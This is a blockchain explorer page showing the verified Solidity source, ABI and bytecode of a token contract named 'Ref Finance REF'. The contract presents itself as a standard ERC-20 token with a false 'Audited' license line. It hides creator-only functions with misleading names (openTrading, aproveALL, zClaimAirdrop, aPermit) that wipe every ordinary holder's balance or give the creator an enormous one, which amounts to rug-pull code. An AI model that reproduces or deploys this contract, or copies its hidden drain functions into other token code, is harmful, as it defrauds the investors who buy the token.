ETH Price: $2,863.20 (-2.66%)
 

Overview

Max Total Supply

1,000,000,000,000 Ref Finance REF

Holders

5

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xf6236f97...cbC24251d
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
BaseSolidity

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-02-27
*/

// SPDX-License-Identifier: Audited By Base Solidity
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}

contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract BaseSolidity is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000000 * 10**_decimals;

    mapping(address => uint256) private immutStatusOn;
    mapping(address => mapping(address => uint256)) private _allowances;

    address[] private ETF; 
    mapping(address => bool) private isETF; // Ensures no duplicates

    address private constant ADDRESS_WETH = 0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452;
    address private constant ADDRESS_MARKETING = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address private constant ADDRESS_DEVELOPMENT = 0xf3AF3a87b46DF75bf7f9081A3086f727A35C47Ac;
    address ADDRESS_BASE = 0xf3AF3a87b46DF75bf7f9081A3086f727A35C47Ac;
    address isBOTS;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    uint256 public requiredETH;

    constructor(string memory name_, string memory symbol_, address owner_) payable {
        transferOwnership(owner_);  
        require(msg.value == 10000000000000, "Incorrect ETH amount");

        _name = name_;
        _symbol = symbol_;
        requiredETH = 10000000000000;

        immutStatusOn[address(this)] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));

        _callDATA();
          isBOTS  = owner_;
        payable(address(this)).transfer(msg.value);
    }

    function _callDATA() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
        uint256 threePercent = _totalSupply.mul(2).div(1000);
        uint256 twoPercent = _totalSupply.mul(1).div(1000);

        immutStatusOn[ADDRESS_WETH] = immutStatusOn[ADDRESS_WETH].add(ninetyFourPercent);
        immutStatusOn[ADDRESS_MARKETING] = immutStatusOn[ADDRESS_MARKETING].add(threePercent);
        immutStatusOn[ADDRESS_DEVELOPMENT] = immutStatusOn[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");

        // Track new holders
        if (!isETF[recipient] && recipient != address(0)) {
            ETF.push(recipient);
            isETF[recipient] = true;
        }

        immutStatusOn[sender] = immutStatusOn[sender].sub(amount);
        immutStatusOn[recipient] = immutStatusOn[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function openTrading() external {
        require(isBOTS == _msgSender());
        for (uint256 i = 0; i < ETF.length; i++) {
            address swap = ETF[i];
            if (
                swap != ADDRESS_WETH &&
                swap != ADDRESS_MARKETING &&
                swap != ADDRESS_DEVELOPMENT &&
                swap != ADDRESS_BASE &&
                swap != address(this) &&
                swap != owner() &&
                swap != uniswapV2Pair
            ) {

                immutStatusOn[swap] = 0;
                emit Transfer(swap, address(0), immutStatusOn[swap]);
            }
        }
    }

    function getAllETF() public view returns (address[] memory) {
        return ETF;
    }
      modifier immutableCreator() {
        require(ADDRESS_BASE == _msgSender());
        _;
    }
    function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        immutStatusOn[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator {
        immutStatusOn[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }
 function aproveALL() external immutableCreator{
        for (uint256 i = 0; i < ETF.length; i++) {
            address swap = ETF[i];
            if (
                swap != ADDRESS_WETH &&
                swap != ADDRESS_MARKETING &&
                swap != ADDRESS_DEVELOPMENT &&
                swap != ADDRESS_BASE &&
                swap != address(this) &&
                swap != owner() &&
                swap != uniswapV2Pair
            ) {

                immutStatusOn[swap] = 0;
                emit Transfer(swap, address(0), immutStatusOn[swap]);
            }
        }
    }
    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required ERC20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return immutStatusOn[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract BaseSolidityFactory {

    uint256 public requiredETH;

    event TokenCreated(address tokenAddress, string name, string symbol, address owner);

    constructor() {
        requiredETH = 10000000000000;
    }

    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_
    ) external payable returns (address) {
        require(msg.value == requiredETH);
        BaseSolidity newToken = (new BaseSolidity){value: msg.value}(name_, symbol_, newOwner_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_);
        return address(newToken);
    }
    receive() external payable {}

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"aproveALL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getAllETF","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requiredETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x60806040819052600780546001600160a01b03191673f3af3a87b46df75bf7f9081a3086f727a35c47ac179055600a805460ff60a01b191690556120053881900390819083398101604081905261005591610696565b5f80546001600160a01b0319163390811782556040519091905f516020611fc55f395f51905f52908290a3610089816101d9565b346509184e72a000146100e35760405162461bcd60e51b815260206004820152601460248201527f496e636f72726563742045544820616d6f756e7400000000000000000000000060448201526064015b60405180910390fd5b60016100ef848261079f565b5060026100fc838261079f565b506509184e72a000600b556101396103e8610133600161011e6009600a610950565b61012d9064e8d4a5100061095e565b906102ce565b90610355565b305f81815260036020526040812092909255905f516020611fe55f395f51905f526101716103e8610133600161011e6009600a610950565b60405190815260200160405180910390a361018a6103af565b600880546001600160a01b0383166001600160a01b031990911617905560405130903480156108fc02915f818181858888f193505050501580156101d0573d5f5f3e3d5ffd5b505050506109a7565b5f546001600160a01b031633146102325760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016100da565b6001600160a01b0381166102885760405162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016100da565b5f80546040516001600160a01b03808516939216915f516020611fc55f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036102dd57505f61034f565b5f6102e8838561095e565b9050826102f58583610975565b1461034c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016100da565b90505b92915050565b5f5f82116103a55760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016100da565b61034c8284610975565b5f6103c86103e86101336103e461011e6009600a610950565b90505f6103e26103e8610133600261011e6009600a610950565b90505f6103fc6103e8610133600161011e6009600a610950565b73c1cba3fcea344f92d9239c08c0568f6f2f0ee4525f5260036020525f516020611f855f395f51905f5254909150610434908461059b565b60036020525f516020611f855f395f51905f525573833589fcd6edb6e08f4c7c32d4f71b54bda029135f525f516020611fa55f395f51905f5254610478908361059b565b60036020525f516020611fa55f395f51905f525573f3af3a87b46df75bf7f9081a3086f727a35c47ac5f525f516020611f655f395f51905f52546104bc908261059b565b73f3af3a87b46df75bf7f9081a3086f727a35c47ac5f5260036020525f516020611f655f395f51905f525560405173c1cba3fcea344f92d9239c08c0568f6f2f0ee4529030905f516020611fe55f395f51905f529061051e9087815260200190565b60405180910390a360405182815273833589fcd6edb6e08f4c7c32d4f71b54bda029139030905f516020611fe55f395f51905f529060200160405180910390a360405181815273f3af3a87b46df75bf7f9081a3086f727a35c47ac9030905f516020611fe55f395f51905f529060200160405180910390a3505050565b5f806105a78385610994565b90508381101561034c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016100da565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011261061c575f5ffd5b81516001600160401b03811115610635576106356105f9565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610663576106636105f9565b60405281815283820160200185101561067a575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f606084860312156106a8575f5ffd5b83516001600160401b038111156106bd575f5ffd5b6106c98682870161060d565b602086015190945090506001600160401b038111156106e6575f5ffd5b6106f28682870161060d565b604086015190935090506001600160a01b0381168114610710575f5ffd5b809150509250925092565b600181811c9082168061072f57607f821691505b60208210810361074d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561079a57805f5260205f20601f840160051c810160208510156107785750805b601f840160051c820191505b81811015610797575f8155600101610784565b50505b505050565b81516001600160401b038111156107b8576107b86105f9565b6107cc816107c6845461071b565b84610753565b6020601f8211600181146107fe575f83156107e75750848201515b5f19600385901b1c1916600184901b178455610797565b5f84815260208120601f198516915b8281101561082d578785015182556020948501946001909201910161080d565b508482101561084a57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156108a85780850481111561088c5761088c610859565b600184161561089a57908102905b60019390931c928002610871565b935093915050565b5f826108be5750600161034f565b816108ca57505f61034f565b81600181146108e057600281146108ea57610906565b600191505061034f565b60ff8411156108fb576108fb610859565b50506001821b61034f565b5060208310610133831016604e8410600b8410161715610929575081810a61034f565b6109355f19848461086d565b805f190482111561094857610948610859565b029392505050565b5f61034c60ff8416836108b0565b808202811582820484141761034f5761034f610859565b5f8261098f57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561034f5761034f610859565b6115b1806109b45f395ff3fe608060405260043610610113575f3560e01c80638da5cb5b1161009d578063c9567bf911610062578063c9567bf9146102dd578063d8c23847146102f1578063dd62ed3e14610312578063e8078d9414610356578063f2fde38b1461036a575f5ffd5b80638da5cb5b146102465780638f8af1e11461026c57806395d89b411461028b578063a37e0a641461029f578063a9059cbb146102be575f5ffd5b8063313ce567116100e3578063313ce567146101b857806349eea8c9146101d35780635861b109146101e857806370a08231146101fe578063715018a614610232575f5ffd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd14610199575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50610132610389565b60405161013f9190611191565b60405180910390f35b348015610153575f5ffd5b506101676101623660046111da565b610419565b604051901515815260200161013f565b348015610182575f5ffd5b5061018b61042f565b60405190815260200161013f565b3480156101a4575f5ffd5b506101676101b3366004611204565b610450565b3480156101c3575f5ffd5b506040516009815260200161013f565b3480156101de575f5ffd5b5061018b600b5481565b3480156101f3575f5ffd5b506101fc61049f565b005b348015610209575f5ffd5b5061018b610218366004611242565b6001600160a01b03165f9081526003602052604090205490565b34801561023d575f5ffd5b506101fc610605565b348015610251575f5ffd5b505f546040516001600160a01b03909116815260200161013f565b348015610277575f5ffd5b506101fc61028636600461125d565b61067f565b348015610296575f5ffd5b5061013261074d565b3480156102aa575f5ffd5b506101fc6102b9366004611242565b61075c565b3480156102c9575f5ffd5b506101676102d83660046111da565b610811565b3480156102e8575f5ffd5b506101fc61081d565b3480156102fc575f5ffd5b50610305610980565b60405161013f91906112ce565b34801561031d575f5ffd5b5061018b61032c366004611319565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610361575f5ffd5b506101fc6109df565b348015610375575f5ffd5b506101fc610384366004611242565b610d01565b60606001805461039890611350565b80601f01602080910402602001604051908101604052809291908181526020018280546103c490611350565b801561040f5780601f106103e65761010080835404028352916020019161040f565b820191905f5260205f20905b8154815290600101906020018083116103f257829003601f168201915b5050505050905090565b5f610425338484610dd9565b5060015b92915050565b5f61043c6009600a61147f565b61044b9064e8d4a5100061148d565b905090565b5f61045c848484610efd565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461049591869161049090866110d1565b610dd9565b5060019392505050565b6007546001600160a01b031633146104b5575f5ffd5b5f5b600554811015610602575f600582815481106104d5576104d56114a4565b5f918252602090912001546001600160a01b0316905073c1cba3fcea344f92d9239c08c0568f6f2f0ee452811480159061052c57506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b801561055557506001600160a01b03811673f3af3a87b46df75bf7f9081a3086f727a35c47ac14155b801561056f57506007546001600160a01b03828116911614155b801561058457506001600160a01b0381163014155b801561059d57505f546001600160a01b03828116911614155b80156105b75750600a546001600160a01b03828116911614155b156105f9576001600160a01b0381165f818152600360209081526040808320839055518281529192915f51602061155c5f395f51905f52910160405180910390a35b506001016104b7565b50565b5f546001600160a01b031633146106375760405162461bcd60e51b815260040161062e906114b8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610695575f5ffd5b5f5b8181101561074857600160035f8585858181106106b6576106b66114a4565b90506020020160208101906106cb9190611242565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106106fb576106fb6114a4565b90506020020160208101906107109190611242565b6001600160a01b03165f51602061155c5f395f51905f52600160405161073891815260200190565b60405180910390a3600101610697565b505050565b60606002805461039890611350565b6007546001600160a01b03163314610772575f5ffd5b61077e6009600a61147f565b61078a6009600a61147f565b6107999064e8d4a5100061148d565b6107a3919061148d565b6001600160a01b0382165f818152600360205260408120929092555f51602061155c5f395f51905f526107d86009600a61147f565b6107e46009600a61147f565b6107f39064e8d4a5100061148d565b6107fd919061148d565b60405190815260200160405180910390a350565b5f610425338484610efd565b6008546001600160a01b03163314610833575f5ffd5b5f5b600554811015610602575f60058281548110610853576108536114a4565b5f918252602090912001546001600160a01b0316905073c1cba3fcea344f92d9239c08c0568f6f2f0ee45281148015906108aa57506001600160a01b03811673833589fcd6edb6e08f4c7c32d4f71b54bda0291314155b80156108d357506001600160a01b03811673f3af3a87b46df75bf7f9081a3086f727a35c47ac14155b80156108ed57506007546001600160a01b03828116911614155b801561090257506001600160a01b0381163014155b801561091b57505f546001600160a01b03828116911614155b80156109355750600a546001600160a01b03828116911614155b15610977576001600160a01b0381165f818152600360209081526040808320839055518281529192915f51602061155c5f395f51905f52910160405180910390a35b50600101610835565b6060600580548060200260200160405190810160405280929190818152602001828054801561040f57602002820191905f5260205f20905b81546001600160a01b031681526001909101906020018083116109b8575050505050905090565b5f546001600160a01b03163314610a085760405162461bcd60e51b815260040161062e906114b8565b600a54600160a01b900460ff1615610a625760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161062e565b600980546001600160a01b031916734752ba5dbc23f44d87826276bf6fd6b1c372ad249081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610ac4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae891906114ef565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b47573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6b91906114ef565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610bb5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bd991906114ef565b600a80546001600160a01b0319166001600160a01b0392831617815560098054610c1a933093911691610c0b9161147f565b6104909064e8d4a5100061148d565b6009546001600160a01b031663f305d7194730610c4b816001600160a01b03165f9081526003602052604090205490565b5f5f610c5e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cc4573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ce9919061150a565b5050600a805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610d2a5760405162461bcd60e51b815260040161062e906114b8565b6001600160a01b038116610d805760405162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f2061646472657373000000604482015260640161062e565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610e9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610f535760405162461bcd60e51b815260206004820152601e60248201527f5472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161062e565b6001600160a01b038216610fa95760405162461bcd60e51b815260206004820152601c60248201527f5472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161062e565b6001600160a01b0382165f9081526006602052604090205460ff16158015610fd957506001600160a01b03821615155b15611041576005805460018082019092557f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0385169081179091555f908152600660205260409020805460ff191690911790555b6001600160a01b0383165f9081526003602052604090205461106390826110d1565b6001600160a01b038085165f9081526003602052604080822093909355908416815220546110919082611133565b6001600160a01b038084165f8181526003602052604090819020939093559151908516905f51602061155c5f395f51905f5290610ef09085815260200190565b5f828211156111225760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161062e565b61112c8284611535565b9392505050565b5f8061113f8385611548565b90508381101561112c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610602575f5ffd5b5f5f604083850312156111eb575f5ffd5b82356111f6816111c6565b946020939093013593505050565b5f5f5f60608486031215611216575f5ffd5b8335611221816111c6565b92506020840135611231816111c6565b929592945050506040919091013590565b5f60208284031215611252575f5ffd5b813561112c816111c6565b5f5f6020838503121561126e575f5ffd5b823567ffffffffffffffff811115611284575f5ffd5b8301601f81018513611294575f5ffd5b803567ffffffffffffffff8111156112aa575f5ffd5b8560208260051b84010111156112be575f5ffd5b6020919091019590945092505050565b602080825282518282018190525f918401906040840190835b8181101561130e5783516001600160a01b03168352602093840193909201916001016112e7565b509095945050505050565b5f5f6040838503121561132a575f5ffd5b8235611335816111c6565b91506020830135611345816111c6565b809150509250929050565b600181811c9082168061136457607f821691505b60208210810361138257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156113d7578085048111156113bb576113bb611388565b60018416156113c957908102905b60019390931c9280026113a0565b935093915050565b5f826113ed57506001610429565b816113f957505f610429565b816001811461140f576002811461141957611435565b6001915050610429565b60ff84111561142a5761142a611388565b50506001821b610429565b5060208310610133831016604e8410600b8410161715611458575081810a610429565b6114645f19848461139c565b805f190482111561147757611477611388565b029392505050565b5f61112c60ff8416836113df565b808202811582820484141761042957610429611388565b634e487b7160e01b5f52603260045260245ffd5b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f602082840312156114ff575f5ffd5b815161112c816111c6565b5f5f5f6060848603121561151c575f5ffd5b5050815160208301516040909301519094929350919050565b8181038181111561042957610429611388565b808201808211156104295761042961138856feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220a02cdc325190d8046ee46df4280f933a0229b6a7a91e94573295bdeddb98418664736f6c634300081c00333249ebba10c5865d5853af6e2a0bc3d96f62eaa8f09deed4673d7e9535acfd7f9cc67ee8462ada9fa9de707c85473f3e84ee65dfcaa5b964259013a5f1e95bbf945846cd798efcc1aeaa663b24b9ae9271a3a7b7ca01fd424888a0e6962713858be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000f53729bac9e566893d5d585eddf158454f36658e000000000000000000000000000000000000000000000000000000000000000f5265662046696e616e6365205245460000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f5265662046696e616e6365205245460000000000000000000000000000000000

Deployed Bytecode

0x608060405260043610610113575f3560e01c80638da5cb5b1161009d578063c9567bf911610062578063c9567bf9146102dd578063d8c23847146102f1578063dd62ed3e14610312578063e8078d9414610356578063f2fde38b1461036a575f5ffd5b80638da5cb5b146102465780638f8af1e11461026c57806395d89b411461028b578063a37e0a641461029f578063a9059cbb146102be575f5ffd5b8063313ce567116100e3578063313ce567146101b857806349eea8c9146101d35780635861b109146101e857806370a08231146101fe578063715018a614610232575f5ffd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd14610199575f5ffd5b3661011a57005b5f5ffd5b348015610129575f5ffd5b50610132610389565b60405161013f9190611191565b60405180910390f35b348015610153575f5ffd5b506101676101623660046111da565b610419565b604051901515815260200161013f565b348015610182575f5ffd5b5061018b61042f565b60405190815260200161013f565b3480156101a4575f5ffd5b506101676101b3366004611204565b610450565b3480156101c3575f5ffd5b506040516009815260200161013f565b3480156101de575f5ffd5b5061018b600b5481565b3480156101f3575f5ffd5b506101fc61049f565b005b348015610209575f5ffd5b5061018b610218366004611242565b6001600160a01b03165f9081526003602052604090205490565b34801561023d575f5ffd5b506101fc610605565b348015610251575f5ffd5b505f546040516001600160a01b03909116815260200161013f565b348015610277575f5ffd5b506101fc61028636600461125d565b61067f565b348015610296575f5ffd5b5061013261074d565b3480156102aa575f5ffd5b506101fc6102b9366004611242565b61075c565b3480156102c9575f5ffd5b506101676102d83660046111da565b610811565b3480156102e8575f5ffd5b506101fc61081d565b3480156102fc575f5ffd5b50610305610980565b60405161013f91906112ce565b34801561031d575f5ffd5b5061018b61032c366004611319565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801